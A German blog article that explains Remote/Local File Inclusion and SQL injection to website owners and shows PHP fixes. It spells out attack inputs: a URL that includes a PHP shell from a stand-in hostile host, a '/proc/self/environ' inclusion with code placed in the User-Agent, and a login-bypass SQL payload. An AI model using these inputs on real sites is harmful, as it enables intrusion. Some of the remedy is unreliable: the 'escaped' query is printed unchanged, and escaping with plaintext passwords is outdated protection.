Immer wieder gibt es Nachrichten zu gehackten Webseiten auf denen Schadcode verbreitet wird. Wie wir in unserem Artikel ‘Meine Webseite als Ziel eines Angriffes?‘ bereits erklärt haben ist jede Webseite ein lukratives Ziel für Cracker, da diese einfach darauf aus sind möglichst viele Webseiten zu kompromittieren. Aber wie genau machen die das überhaupt?
Wir erklären in diesem Artikel kurz die bekanntesten Angriffsarten mit denen der Inhalt Ihrer Webseite einfach verändert werden und damit Schadcode darauf platziert werden kann.

Die Klassiker: RFI/LFI – Remote/Local File Inclusion

Die Remote oder Local File Inclusion ist eine sehr einfache Methode eine Webseite zu ändern ohne Zugangsdaten auf den Server zu haben. Dabei macht man sich einfach die gewollte Funktionalität der Webseite zu nutze. Ob per POST oder GET, die Angriffsmethode unterscheidet sich dabei nicht. Man gibt einer Variablen die im zugrunde liegenden Webscript verarbeitet wird, einen Inhalt mit der so vom Script nicht erwartet oder abgefangen wird.
In vielen Webtutorials findet man das Beispiel einer PHP-Navigation, die sehr einfach aber leider auch sehr unsicher Beispielhaft gezeigt wird. Das könnte in etwa so aussehen:
[code lang=”php”]include($_GET[‘page’]);[/code] Das ist ein funktionierender PHP-Code. Mit der Verlinkung ‘https://eineSeite/index.php?page=kontakt.html’ kann man zum Beispiel die Kontaktseite darstellen. Was diesem PHP-Code aber völlig fehlt ist die Absicherung gegen Manipulation der Variablen ‘page’. So kann man dort einfach einen eigenen Wert mitgeben, der dann in diesem Script direkt im include-Befehl verwendet wird. Ein Beispiel:
[code lang=”txt”]https://eineSeite/index.php?page=https://eineboeseSeite/shell.txt[/code] Und genau da liegt das Problem. Damit würde ein beliebiger externer Inhalt in dem oben gezeigten PHP-Script eingebunden und interpretiert werden. In der gezeigten URL-Manipulation wird eine Datei mit dem Namen ‘shell.txt’ eingebunden. Dahinter verbirgt sich eine PHP-Shell. Dies sind Scripte die man sehr gut dazu verwenden kann, einen grafischen und komfortablen Zugriff auf einen Webserver zu haben und darüber Dateien zu verwalten. Es ist ein richtiger Datei-Manager. Cracker nutzen diese PHP-Shells um Scripte auf Webserver zu laden mit denen dann Spam versendet wird, Angriffe auf andere Systeme gefahren werden oder legen direkt Phishing-Seiten auf dem Webserver ab oder sie manipulieren die darauf befindliche Webseite mit Schadcode.
5848333881_5542813269_nIn unserem Artikel PHP aber sicher – Servereinstellungen haben wir deshalb PHP-Einstellungen gezeigt von denen einige sogar direkt darauf abzielen, dass keine externen Dateien einfach per PHP eingebunden werden können. Dadurch werden allerdings nur Remote File Inclusions verhindert. Das Script erlaubt ohne Veränderung aber immer noch Local File Inclusions.
Ok, lokale Dateien in ein PHP-Script einzubinden klingt erst mal nicht schlimm. Schließlich befinden sich auf dem Server lediglich Dateien deren Inhalt man kennt und kann damit abschätzen ob dies gefährlich ist. Das ist aber weit gefehlt. Ein besonderes Beispiel ist dabei die Datei ‘/proc/self/environ’, die die Umgebungsvariablen eines Prozesses beinhaltet. Darunter befinden sich bei einem PHP-Script auch die beim Aufruf mitgegebenen Daten. Und dieses sind manipulierbar.
Ein Cracker kann dabei ganz einfach in seinem USER-AGENT einen String mit dem Code ‘<?php echo “test”; ?>’ angeben, der dann beim Aufruf der Webseite in der genannten Datei landet. Anhand unseres Beispielsscripts lässt sich diese Datei dann ganz einfach so einbinden ‘https://eineSeite/index.php?page=/proc/self/environ’. So leicht ist es also selbst bei nur lokalen Dateien Code auf dem Server auszuführen, der dort nicht erwartet wurde und der dazu genutzt werden kann, Dateien auf dem Server zu manipulieren.

Das gleiche Prinzip: SQL-Injections

Die Angriffstechnik ist bei der SQL-Injection die gleiche wie bereits bei den oben kennen gelernten Angriffsarten. Genutzt wird eine unzureichend gesicherte Variable eines Webscriptes. Bei der SQL-Injection zielt man allerdings nicht drauf ab den Parameter eines Include-Befehls zu manipulieren sondern, wie der Name schon verrät, die Parameter eines SQL-Befehls. Dabei ergeben sich viele Möglichkeiten man kann damit

  • Werte aus der Datenbank abfragen die man sonst nicht sehen könnte (zum Beispiel die Benutzerdaten eines Webshops),
  • Werte in der Datenbank zu platzieren (neue Benutzer anlegen),
  • Werte in der Datenbank zu manipulieren (E-Mail-Adressen von Benutzern um Passwort-Vergessen-Funktionen auszulösen) oder
  • einfache Abfragen so zu manipulieren, dass das Ergebnis im Script zu einem positiven Ergebnis führt (um zum Beispiel eine Login-Funktion zu umgehen).

Hier ein einfaches Script zur Abfrage eines Login-Events in PHP ohne abgesicherte Variablen.
[code lang=”php”]$user = $_POST[‘user’];
$password = $_POST[‘password’];
$result = mysql_query("
SELECT id
FROM Users
WHERE username = ‘".$user."’
AND password = ‘".$password."’;");
if (mysql_num_rows($result)>0) {
$login = true;
}[/code] Das Script tut seine Arbeit. Es wertet aus ob mit der Kombination von Benutzername und Passwort ein Benutzer in der Datenbank gefunden wird. Wird einer gefunden, dann wird der Login akzeptiert. Wie genau soll das manipuliert werden? Dazu schauen wir uns einfach mal den ausgefüllten SQL-Befehl an, wenn die Variablen wie folgt gefüllt sind:

  • user = admin
  • password = strenggeheim

Der SQL-Befehl sieht mit diesen Werten so aus:
[code lang=”sql”] SELECT id
FROM Users
WHERE username = ‘admin’
AND password = ‘strenggeheim’;[/code] Ein Cracker kann diesen SQL-Befehl aber einfach manipulieren indem er den Variablen andere Werte mitgibt. Zum Beispiel:

  • user = admin
  • password = 1′ OR 1=1 OR ” = ‘

Sehen wir uns also den SQL-Befehl jetzt noch einmal an:
[code lang=”sql”] SELECT id
FROM Users
WHERE username = ‘admin’
AND password = ‘1’ OR 1=1 OR ” = ”;[/code] Was genau ist hier passiert? Die SQL-Abfrage wurde so manipuliert, dass die jetzige Abfrage immer eine Zeile zurück gibt sobald der Benutzer in der Datenbank existiert. Damit ist es also möglich sich als Benutzer an der Webseite anzumelden, ohne dessen Passwort zu kennen. Auf gleiche Weise kann man dem Query auch weitere beliebige SQL-Befehle mitgeben. Eine Manipulation der Seite ist damit also ebenfalls sehr einfach für den Angreifer.

Was ist zu tun?

Die Antwort hierauf gilt in der Programmierung generell und ist sehr simpel: Alle Benutzereingaben, die in einem Programm/Script verarbeitet werden, müssen im Programmcode validiert werden. Das Programm muss feststellen, dass in einer Variable ein erwarteter Wert steht damit 1. keine unerwarteten Fehler im Script entstehen und 2. die Funktionalität des Scripts nicht einfach manipuliert werden kann.
In unserem ersten Beispiel wollen wir eine Funktion mit der wir Inhalte vom Server in ein PHP-Script laden können um diese auf der Webseite darzustellen. Die einfachste und sicherste Möglichkeit eine Manipulation zu umgehen ist dabei der Switch. Mit diesem gibt man alle Werte die im Script weiterverarbeitet werden und verarbeitet alle unerwarteten Werte einfach mit einer Standardroutine. Ein Beispiel:
[code lang=”php”]switch($_GET[‘page’]) {
case ‘kontakt’:
include(‘sites/kontakt.html’);
break;
case ‘impressum’:
include(‘sites/impressum.html’);
break;
default:
include(‘sites/index.html’);
}
[/code] Was haben wir damit erreicht? Ganz einfach. Es werden nur die Dateien eingebunden, die wir wirklich für den Inhalt auf der Seite benötigen und alle anderen Werte in der Variablen ‘page’ führen dazu, dass die Startseite aufgerufen wird. Hier kann man nun nach belieben an der Variablen ‘page’ mit Werten herumspielen, es wird damit kein unerwartetes Ergebnis mehr erzielt.
Bei der SQL-Abfrage sieht es etwas anders aus. Der Benutzername und das Passwort sind Felder, die bewusst vom Benutzer frei eingegeben werden können. Es ist also alles an Werten in diesem Feld zu erwarten. Wichtig ist nur, wie man diese an den SQL-Befehl übergibt. In unserem Beispiel sind beide gefährlichen Variablen Strings in der Datenbank das Zeichen ‘ ist darin also prinzipiell erlaubt. Allerdings führt genau das Zeichen dazu, dass die Abfrage entsprechend manipuliert werden kann. Die Lösung ist die Umwandlung dieser Zeichen in andere Werte. Die MySQL-Funktionalität in PHP bietet hierzu bereits eine entsprechende Funktion mysql_escape_string.
Diese Funktion wendet man einfach sowohl beim Einfügen der Daten, wenn ein Benutzer angelegt wird, als auch beim Abfragen der Daten auf den entsprechenden String an. Unser Beispiel sieht dann so aus:
[code lang=”php”]$user = $_POST[‘user’];
$password = $_POST[‘password’];
$result = mysql_query("
SELECT id
FROM Users
WHERE username = ‘".mysql_escape_string($user)."’
AND password = ‘".mysql_escape_string($password)."’;");
if (mysql_num_rows($result)>0) {
$login = true;
}[/code] Manipuliert man jetzt den String wie bereits in den Beispiel vorher kommt das dabei heraus:
[code lang=”sql”] SELECT id
FROM Users
WHERE username = ‘admin’
AND password = ‘1’ OR 1=1 OR ” = ”;[/code] Das sorgt dafür, dass die ‘-Zeichen innerhalb des Strings escaped bleiben, also nicht als Ende-Zeichen für den String interpretiert werden, sondern eben als Inhalt dessen. Damit wird bei einer solchen unerwarteten Eingabe der Login ganz einfach nicht mehr akzeptiert.
Uns ist bewusst das einige dieser Angriffe bereits über Server seitige Einstellungen oder genutzte MySQL-Schichten abgefangen werden, allerdings sollte man als Programmierer immer die eigene Applikation betrachten und diese soweit härten wie es möglich ist. Ein Grund dafür ist, dass man nicht immer Einfluss auf die genutzte PHP-Version, die Einstellungen des Webservers oder auch die installierten PHP-Extensions hat.

Was mache ich, wenn mein CMS von einer solchen Lücke betroffen ist?

Hierfür gelten unsere Empfehlungen aus unserem Artikel Meine Webseite als Ziel eines Angriffes?